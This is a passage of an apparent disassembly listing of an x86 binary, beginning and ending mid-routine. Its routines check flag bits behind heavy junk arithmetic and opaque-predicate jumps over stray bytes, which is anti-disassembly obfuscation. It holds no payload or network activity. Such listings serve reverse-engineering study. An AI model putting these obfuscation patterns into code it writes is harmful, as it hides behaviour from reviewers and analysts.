; ---------------------------------------------------------------------------


loc_4A0358:				; CODE XREF: sub_4A0331:loc_4A0351j
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		dec	edi
		inc	esi
		sub	ch, 20h
		dec	edi
		inc	esi
		dec	ch
		dec	ch
		dec	edi
		inc	esi
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	edi
		inc	esi
		sub	cl, 6
		not	al
		dec	edi
		inc	esi
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 12h
		add	cl, 0Bh
		dec	cl
		dec	cl
		jo	short loc_4A03B0
		jl	short loc_4A03AE


loc_4A03AB:				; CODE XREF: sub_4A0331:loc_4A03AEj
					; sub_4A0331:loc_4A03B0j
		jmp	short loc_4A03B2
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A03AE:				; CODE XREF: sub_4A0331+78j
		jz	short loc_4A03AB


loc_4A03B0:				; CODE XREF: sub_4A0331+76j
		jmp	short loc_4A03AB
; ---------------------------------------------------------------------------


loc_4A03B2:				; CODE XREF: sub_4A0331:loc_4A03ABj
		dec	cl
		dec	cl
		dec	edi
		inc	esi
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	edi
		inc	esi
		dec	cl
		dec	cl
		dec	cl
		and	eax, 0
		inc	eax
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		pop	ecx
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D8
		xor	ecx, dword_4ED3DC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A040A
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A040A:				; CODE XREF: sub_4A0331+CEj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D30
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A041E	proc near		; DATA XREF: sub_4965D8+12DFo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D84
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_4A0443
		jl	short loc_4A0441


loc_4A043E:				; CODE XREF: sub_4A041E:loc_4A0441j
					; sub_4A041E:loc_4A0443j
		jmp	short loc_4A0445
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A0441:				; CODE XREF: sub_4A041E+1Ej
		jz	short loc_4A043E


loc_4A0443:				; CODE XREF: sub_4A041E+1Cj
		jmp	short loc_4A043E
; ---------------------------------------------------------------------------


loc_4A0445:				; CODE XREF: sub_4A041E:loc_4A043Ej
		push	edx
		mov	dh, 2
		jo	short loc_4A0451
		jl	short loc_4A044F


loc_4A044C:				; CODE XREF: sub_4A041E:loc_4A044Fj
					; sub_4A041E:loc_4A0451j
		jmp	short loc_4A0453
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4A044F:				; CODE XREF: sub_4A041E+2Cj
		jz	short loc_4A044C


loc_4A0451:				; CODE XREF: sub_4A041E+2Aj
		jmp	short loc_4A044C
; ---------------------------------------------------------------------------


loc_4A0453:				; CODE XREF: sub_4A041E:loc_4A044Cj
		dec	dh
		dec	dh
		and	ah, dh
		mov	dl, 1
		and	al, dl
		not	ah
		not	ah
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B4
		xor	ecx, dword_4ED3B8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0485
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0485:				; CODE XREF: sub_4A041E+5Cj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D0C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A041E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0499	proc near		; DATA XREF: sub_4965D8+8Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Ch
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		dec	ecx
		dec	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		pop	edx
		test	eax, eax
		jnz	loc_4A0610
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AEh
		sub	cl, 2
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		jo	short loc_4A059A
		jl	short loc_4A0598


loc_4A0593:				; CODE XREF: sub_4A0499:loc_4A0598j
					; sub_4A0499:loc_4A059Aj
		jmp	short loc_4A059C
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A0598:				; CODE XREF: sub_4A0499+F8j
		jz	short loc_4A0593


loc_4A059A:				; CODE XREF: sub_4A0499+F6j
		jmp	short loc_4A0593
; ---------------------------------------------------------------------------


loc_4A059C:				; CODE XREF: sub_4A0499:loc_4A0593j
		and	al, cl
		pop	ecx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_4A05C2
		jl	short loc_4A05C0


loc_4A05BB:				; CODE XREF: sub_4A0499:loc_4A05C0j
					; sub_4A0499:loc_4A05C2j
		jmp	short loc_4A05C4
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A05C0:				; CODE XREF: sub_4A0499+120j
		jz	short loc_4A05BB


loc_4A05C2:				; CODE XREF: sub_4A0499+11Ej
		jmp	short loc_4A05BB
; ---------------------------------------------------------------------------


loc_4A05C4:				; CODE XREF: sub_4A0499:loc_4A05BBj
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1500h
		dec	dh
		sub	dh, 7
		dec	dh
		sub	dh, 3
		dec	dh
		jo	short loc_4A05FA
		jl	short loc_4A05F8


loc_4A05F3:				; CODE XREF: sub_4A0499:loc_4A05F8j
					; sub_4A0499:loc_4A05FAj
		jmp	short loc_4A05FC
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A05F8:				; CODE XREF: sub_4A0499+158j
		jz	short loc_4A05F3


loc_4A05FA:				; CODE XREF: sub_4A0499+156j
		jmp	short loc_4A05F3
; ---------------------------------------------------------------------------


loc_4A05FC:				; CODE XREF: sub_4A0499:loc_4A05F3j
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_4A0610
		and	eax, 0
		inc	eax
		jmp	short loc_4A0613
; ---------------------------------------------------------------------------


loc_4A0610:				; CODE XREF: sub_4A0499+7Bj
					; sub_4A0499+16Fj
		and	eax, 0


loc_4A0613:				; CODE XREF: sub_4A0499+175j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F4
		xor	ecx, dword_4ED3F8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0636
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0636:				; CODE XREF: sub_4A0499+192j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D4C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0499	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A064A	proc near		; DATA XREF: sub_4965D8+14D1o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1E00h
		pop	ebx
		jo	short loc_4A0680
		jl	short loc_4A067E


loc_4A0679:				; CODE XREF: sub_4A064A:loc_4A067Ej
					; sub_4A064A:loc_4A0680j
		jmp	short loc_4A0682
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A067E:				; CODE XREF: sub_4A064A+2Dj
		jz	short loc_4A0679


loc_4A0680:				; CODE XREF: sub_4A064A+2Bj
		jmp	short loc_4A0679
; ---------------------------------------------------------------------------


loc_4A0682:				; CODE XREF: sub_4A064A:loc_4A0679j
		sub	bh, 4
		dec	bh
		push	eax
		dec	bh
		dec	bh
		jo	short loc_4A0697
		jl	short loc_4A0695


loc_4A0690:				; CODE XREF: sub_4A064A:loc_4A0695j
					; sub_4A064A:loc_4A0697j
		jmp	short loc_4A0699
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A0695:				; CODE XREF: sub_4A064A+44j
		jz	short loc_4A0690


loc_4A0697:				; CODE XREF: sub_4A064A+42j
		jmp	short loc_4A0690
; ---------------------------------------------------------------------------


loc_4A0699:				; CODE XREF: sub_4A064A:loc_4A0690j
		and	eax, 40h
		sub	bh, 13h
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 12h
		dec	dl
		jo	short loc_4A06B9
		jl	short loc_4A06B7


loc_4A06B2:				; CODE XREF: sub_4A064A:loc_4A06B7j
					; sub_4A064A:loc_4A06B9j
		jmp	short loc_4A06BB
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A06B7:				; CODE XREF: sub_4A064A+66j
		jz	short loc_4A06B2


loc_4A06B9:				; CODE XREF: sub_4A064A+64j
		jmp	short loc_4A06B2
; ---------------------------------------------------------------------------


loc_4A06BB:				; CODE XREF: sub_4A064A:loc_4A06B2j
		sub	dl, 1
		dec	dl
		sub	dl, 7
		dec	dl
		dec	dl
		sub	dl, 2
		jo	short loc_4A06D5
		jl	short loc_4A06D3


loc_4A06CE:				; CODE XREF: sub_4A064A:loc_4A06D3j
					; sub_4A064A:loc_4A06D5j
		jmp	short loc_4A06D7
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A06D3:				; CODE XREF: sub_4A064A+82j
		jz	short loc_4A06CE


loc_4A06D5:				; CODE XREF: sub_4A064A+80j
		jmp	short loc_4A06CE
; ---------------------------------------------------------------------------


loc_4A06D7:				; CODE XREF: sub_4A064A:loc_4A06CEj
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED410
		xor	ecx, dword_4ED414
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0703
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0703:				; CODE XREF: sub_4A064A+AEj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D68
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A064A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0717	proc near		; DATA XREF: sub_4965D8+126Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	800h
		pop	ecx
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 10h
		dec	dl
		sub	cl, 2
		dec	dl
		sub	cl, 3
		dec	cl
		dec	dl
		dec	cl
		dec	cl
		dec	dl
		dec	cl
		dec	dl
		dec	cl
		sub	cl, 1
		dec	cl
		and	al, cl
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_4A0785
		not	eax
		add	eax, 1
		stc
		jmp	short loc_4A078B
; ---------------------------------------------------------------------------


loc_4A0785:				; CODE XREF: sub_4A0717+64j
		not	eax
		add	eax, 1
		clc


loc_4A078B:				; CODE XREF: sub_4A0717+6Cj
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED410
		xor	ecx, dword_4ED414
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A07B2
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A07B2:				; CODE XREF: sub_4A0717+90j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D68
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A07C6	proc near		; DATA XREF: sub_4965D8+718o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 2
		sub	dh, 0FFh
		dec	dh
		sub	dh, 0FFh
		dec	dh
		sub	dh, 0FFh
		sub	dh, 1
		sub	dh, 1
		dec	dh
		and	ah, dh
		mov	edx, 800h
		mov	dl, 0Fh
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 0FFh
		inc	dl
		sub	dl, 0Ah
		sub	dl, 0FFh
		dec	dl
		sub	dl, 0FFh
		sub	dl, 5
		inc	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		sub	dl, 3
		sub	dl, 0FFh
		dec	dl
		inc	dl
		inc	dl
		and	al, dl
		not	ah
		not	ah
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F0
		xor	ecx, dword_4ED3F4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0861
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0861:				; CODE XREF: sub_4A07C6+90j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D48
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A07C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0875	proc near		; DATA XREF: sub_4965D8+A48o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, [ebp+arg_4]
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		xor	bh, 3
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C0
		xor	ecx, dword_4ED3C4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0905
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0905:				; CODE XREF: sub_4A0875+85j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D18
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0919	proc near		; DATA XREF: sub_4965D8+1339o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DCC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	4
		pop	ecx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		and	al, cl
		mov	bh, 0Dh
		xor	bl, bl
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		sub	bh, 1
		dec	bh
		add	bh, 4
		inc	bh
		sub	bh, 1
		dec	bh
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_4A097D
		not	eax
		add	eax, 1
		stc
		jmp	short loc_4A0983
; ---------------------------------------------------------------------------


loc_4A097D:				; CODE XREF: sub_4A0919+5Aj
		not	eax
		add	eax, 1
		clc


loc_4A0983:				; CODE XREF: sub_4A0919+62j
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3FC
		xor	ecx, dword_4ED400
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A09AA
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A09AA:				; CODE XREF: sub_4A0919+86j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D54
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A09BE	proc near		; DATA XREF: sub_4965D8+415o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D84
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_4A09E3
		jl	short loc_4A09E1


loc_4A09DE:				; CODE XREF: sub_4A09BE:loc_4A09E1j
					; sub_4A09BE:loc_4A09E3j
		jmp	short loc_4A09E5
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A09E1:				; CODE XREF: sub_4A09BE+1Ej
		jz	short loc_4A09DE


loc_4A09E3:				; CODE XREF: sub_4A09BE+1Cj
		jmp	short loc_4A09DE
; ---------------------------------------------------------------------------


loc_4A09E5:				; CODE XREF: sub_4A09BE:loc_4A09DEj
		push	edx
		mov	dh, 0Eh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		jo	short loc_4A0A05
		jl	short loc_4A0A03


loc_4A0A00:				; CODE XREF: sub_4A09BE:loc_4A0A03j
					; sub_4A09BE:loc_4A0A05j
		jmp	short loc_4A0A07
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4A0A03:				; CODE XREF: sub_4A09BE+40j
		jz	short loc_4A0A00


loc_4A0A05:				; CODE XREF: sub_4A09BE+3Ej
		jmp	short loc_4A0A00
; ---------------------------------------------------------------------------


loc_4A0A07:				; CODE XREF: sub_4A09BE:loc_4A0A00j
		dec	dh
		sub	dh, 1
		add	dh, 0FEh
		and	ah, dh
		mov	dl, 1
		and	al, dl
		not	ah
		not	ah
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B4
		xor	ecx, dword_4ED3B8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0A42
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0A42:				; CODE XREF: sub_4A09BE+79j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D0C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A09BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0A56	proc near		; DATA XREF: sub_4965D8+61Fo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_4A0A89
		jl	short loc_4A0A87


loc_4A0A82:				; CODE XREF: sub_4A0A56:loc_4A0A87j
					; sub_4A0A56:loc_4A0A89j
		jmp	short loc_4A0A8B
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A0A87:				; CODE XREF: sub_4A0A56+2Aj
		jz	short loc_4A0A82


loc_4A0A89:				; CODE XREF: sub_4A0A56+28j
		jmp	short loc_4A0A82
; ---------------------------------------------------------------------------


loc_4A0A8B:				; CODE XREF: sub_4A0A56:loc_4A0A82j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1500h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 7
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E8
		xor	ecx, dword_4ED3EC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0AE2
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0AE2:				; CODE XREF: sub_4A0A56+81j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D40
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0AF6	proc near		; DATA XREF: sub_4965D8+19o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D78
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, [ebp+arg_4]
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	100h
		pop	ebx
		dec	bh
		jo	short loc_4A0B2F
		jl	short loc_4A0B2D


loc_4A0B2A:				; CODE XREF: sub_4A0AF6:loc_4A0B2Dj
					; sub_4A0AF6:loc_4A0B2Fj
		jmp	short loc_4A0B31
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4A0B2D:				; CODE XREF: sub_4A0AF6+32j
		jz	short loc_4A0B2A


loc_4A0B2F:				; CODE XREF: sub_4A0AF6+30j
		jmp	short loc_4A0B2A
; ---------------------------------------------------------------------------


loc_4A0B31:				; CODE XREF: sub_4A0AF6:loc_4A0B2Aj
		add	bh, 0FFh
		add	bh, 0FFh
		add	bh, 0FFh
		add	bh, 0FFh
		inc	bh
		inc	bh
		inc	bh
		inc	bh
		and	ah, bh
		jo	short loc_4A0B50
		jl	short loc_4A0B4E


loc_4A0B4B:				; CODE XREF: sub_4A0AF6:loc_4A0B4Ej
					; sub_4A0AF6:loc_4A0B50j
		jmp	short loc_4A0B52
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4A0B4E:				; CODE XREF: sub_4A0AF6+53j
		jz	short loc_4A0B4B


loc_4A0B50:				; CODE XREF: sub_4A0AF6+51j
		jmp	short loc_4A0B4B
; ---------------------------------------------------------------------------


loc_4A0B52:				; CODE XREF: sub_4A0AF6:loc_4A0B4Bj
		mov	bl, 17h
		sub	bl, 9
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 4
		dec	bl
		dec	bl
		dec	bl
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_4A0B76
		not	eax
		add	eax, 1
		stc
		jmp	short loc_4A0B7C
; ---------------------------------------------------------------------------


loc_4A0B76:				; CODE XREF: sub_4A0AF6+76j
		not	eax
		add	eax, 1
		clc


loc_4A0B7C:				; CODE XREF: sub_4A0AF6+7Ej
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_4A0B8B
		jl	short loc_4A0B89


loc_4A0B84:				; CODE XREF: sub_4A0AF6:loc_4A0B89j
					; sub_4A0AF6:loc_4A0B8Bj
		jmp	short loc_4A0B8D
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A0B89:				; CODE XREF: sub_4A0AF6+8Cj
		jz	short loc_4A0B84


loc_4A0B8B:				; CODE XREF: sub_4A0AF6+8Aj
		jmp	short loc_4A0B84
; ---------------------------------------------------------------------------


loc_4A0B8D:				; CODE XREF: sub_4A0AF6:loc_4A0B84j
		inc	eax
		dec	eax
		jo	short loc_4A0B9A
		jl	short loc_4A0B98


loc_4A0B93:				; CODE XREF: sub_4A0AF6:loc_4A0B98j
					; sub_4A0AF6:loc_4A0B9Aj
		jmp	short loc_4A0B9C
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A0B98:				; CODE XREF: sub_4A0AF6+9Bj
		jz	short loc_4A0B93


loc_4A0B9A:				; CODE XREF: sub_4A0AF6+99j
		jmp	short loc_4A0B93
; ---------------------------------------------------------------------------


loc_4A0B9C:				; CODE XREF: sub_4A0AF6:loc_4A0B93j
